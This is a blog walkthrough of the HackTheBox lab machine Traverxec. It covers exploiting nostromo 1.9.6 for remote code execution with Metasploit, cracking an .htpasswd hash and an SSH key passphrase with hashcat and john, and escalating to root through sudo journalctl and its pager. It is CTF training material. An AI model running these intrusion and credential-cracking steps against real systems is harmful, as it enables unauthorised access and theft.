Post
Cancel

HackTheBox - Traverxec

Foothold

nmap scan

1
2
3
4
5
6
7
8
9
10
11
12
13
$ nmap -min-rate 5000 --max-retries 1 -sV -sC -p- -oN Traverxec-full-port-scan.txt 10.10.10.165
Nmap scan report for 10.10.10.165
Host is up (0.10s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC

nostromo 1.9.6 (port 80)

nostromo

Looking at server’s HTTP response headers we can confirm that we’re facing with nostromo version 1.9.6.

We already saw that via nmap scan.

There is a RCE vuln on this specific version:

searchsploit nostromo

Metasploit

msf nostromo

msf nostromo

Now we have a shell as www-data user.

User (david)

As expected (because of the web page), there is a user called david:

1
2
3
4
5
6
7
8
9
10
11
w-data@traverxec:/usr/bin$ cd /home
cd /home
www-data@traverxec:/home$ ls -la
ls -la
total 12
drwxr-xr-x  3 root  root  4096 Oct 25  2019 .
drwxr-xr-x 18 root  root  4096 Oct 25  2019 ..
drwx--x--x  5 david david 4096 Oct 25  2019 david
www-data@traverxec:/home$ cd david
www-data@traverxec:/home/david$ ls
ls: cannot open directory '.': Permission denied

It’s weird because we can enter to david’s home directory but we cannot see what’s inside. However there are some things that we have access to:

1
2
3
4
5
6
7
8
9
10
www-data@traverxec:/home/david$ head -n5 .bashrc
head -n5 .bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
www-data@traverxec:/home/david$ cat user.txt
cat user.txt
cat: user.txt: Permission denied

Via linpeas.sh, we can see this interesting information:

linpeas

It looks like an ` /etc/shadow` password.

  • $1 indicates that the hashing algorithm used is MD5
  • e7NfNpNi (the content between the second and third $ sign) is the salt value.
  • A6nCwOTqrNR2oDuIKirRZ is hash of “password + salt”

Crcaking .htpasswd using hashcat

hashcat

-m 500 tells hashcat to use MD5(Unix) mode

david's password

But we cannot log in as david with this password: Nowonly4me.

1
2
3
4
5
6
www-data@traverxec:/tmp$ su david  
su david
Password: Nowonly4me

su: Authentication failure
www-data@traverxec:/tmp$

/var/nostromo/conf

I decided to investigate more in /var/nostromo/conf directory, because it’s where we found .htpasswd file:

1
2
3
4
5
6
7
8
www-data@traverxec:/var/nostromo/conf$ ls -la
ls -la
total 20
drwxr-xr-x 2 root daemon 4096 Oct 27  2019 .
drwxr-xr-x 6 root root   4096 Oct 25  2019 ..
-rw-r--r-- 1 root bin      41 Oct 25  2019 .htpasswd
-rw-r--r-- 1 root bin    2928 Oct 25  2019 mimes
-rw-r--r-- 1 root bin     498 Oct 25  2019 nhttpd.conf

There is a file called nhttpd.conf. Let’s see its content:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
www-data@traverxec:/var/nostromo/conf$ cat nhttpd.conf
cat nhttpd.conf
# MAIN [MANDATORY]

servername              traverxec.htb
serverlisten            *
serveradmin             david@traverxec.htb
serverroot              /var/nostromo
servermimes             conf/mimes
docroot                 /var/nostromo/htdocs
docindex                index.html

# LOGS [OPTIONAL]

logpid                  logs/nhttpd.pid

# SETUID [RECOMMENDED]

user                    www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons                  /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

The last two lines indicates that we can access to /home directory through http://10.10.10.165/~username if the user has a sub directory called public_www.

Let’s try http://10.10.10.165/:

public_www david

/home/david/public_www

1
2
3
4
5
6
7
8
9
10
www-data@traverxec:/var/nostromo/conf$ cd /home/david/public_www
cd /home/david/public_www
www-data@traverxec:/home/david/public_www$ ls -la
ls -la
total 16
drwxr-xr-x 3 david david 4096 Oct 25  2019 .
drwx--x--x 5 david david 4096 Oct 25  2019 ..
-rw-r--r-- 1 david david  402 Oct 25  2019 index.html
drwxr-xr-x 2 david david 4096 Oct 25  2019 protected-file-area
www-data@traverxec:/home/david/public_www$ 

Let’s take a look at protected-file-area directory:

1
2
3
4
5
6
7
8
9
10
www-data@traverxec:/home/david/public_www$ cd protected-file-area
cd protected-file-area
www-data@traverxec:/home/david/public_www/protected-file-area$ ls -la
total 16
drwxr-xr-x 2 david david 4096 Oct 25  2019 .
drwxr-xr-x 3 david david 4096 Oct 25  2019 ..
-rw-r--r-- 1 david david   45 Oct 25  2019 .htaccess
-rw-r--r-- 1 david david 1915 Oct 25  2019 backup-ssh-identity-files.tgz
www-data@traverxec:/home/david/public_www/protected-file-area$ cat .htaccess
realm David's Protected File Area. Keep out!

I want to open backup-ssh-identity-files.tgz. In order to transfer it to my machine, I decided to use base64:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
www-data@traverxec:/home/david/public_www/protected-file-area$ cat backup-ssh-identity-files.tgz | base64
entity-files.tgz | base64
H4sIAANjs10AA+2YWc+jRhaG+5pf8d07HfYtV8O+Y8AYAzcROwabff/1425pNJpWMtFInWRm4uem
gKJ0UL311jlF2T4zMI2Wewr+OI4l+Ol3AHpBQtCXFibxf2n/wScYxXGMIGCURD5BMELCyKcP/Pf4
mG+ZxykaPj4+fZ2Df/Peb/X/j1J+o380T2U73I8s/bnO9vG7xPgiMIFhv6o/AePf6E9AxEt/6LtE
/w3+4vq/NP88jNEH84JFzSPi4D1BhC+3PGMz7JfHjM2N/jAadgJdSVjy/NeVew4UGQkXbu02dzPh
6hzE7jwt5h64paBUQcd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E/O8v+9/LL9d+P3Rx/vxj/0fmPwL7Uf19+F7zrvz+A9/nvr33+
e/PmzZs3b968efPmzZs3b968efPmzf8vfweR13qfACgAAA==

transfer gz archive into my machine using base64

backup-ssh-identity-files.tgz

1
2
3
4
5
6
$ cp ../backup-ssh-identity-files.tgz .
$ tar xvf backup-ssh-identity-files.tgz
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub

Obviously the RSA key is encrypted:

encrypted RSA key

Therefore, we have to use ssh2john

ssh2john

1
2
3
4
5
6
7
8
9
10
11
12
13
$ /usr/share/john/ssh2john.py home/david/.ssh/id_rsa > david_rsa.john
$ john david_rsa.john --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 12 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (home/david/.ssh/id_rsa)
1g 0:00:00:02 DONE (2021-01-02 14:15) 0.4878g/s 6995Kp/s 6995Kc/s 6995KC/s  0125457423 ..*7¡Vamos!
Session completed

The password of id_rsa is hunter. We can now log in as david:

ssh david

  • user.txt:
1
2
david@traverxec:~$ cat user.txt
7db0b48469606a42cec20750d9782f3d

There is a bin directory inside home/david, let’s see what’s inside:

/home/david

1
2
3
4
5
6
7
8
9
10
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat 

Because of the pipe (| /usr/bin/cat), this last command with sudo runs with david’s privileges.

So if we run the last command without the pipe, we’ll be opening less according to GTFOBins - journalctl and then we can privesc.

Root

When I first ran the exploit, the process didn’t invoke less.

I was thinking that the box was patched and that was not the intended way to root it.

failed

However, I remembered a similar challenge Bandit - Level 25 where we have to privesc with more.

In this challenge, we had to reduce the console window to less than 5 lines (since the output of our command is less than about 5 lines of text) in order to force the process to run the text editor.

I reduced the size of my terminal window, and it worked:

explot worked

root flag

  • root’s flag: 9aa36a6d76f785dfd320a478f6e0d906 ___
This post is licensed under CC BY 4.0 by the author.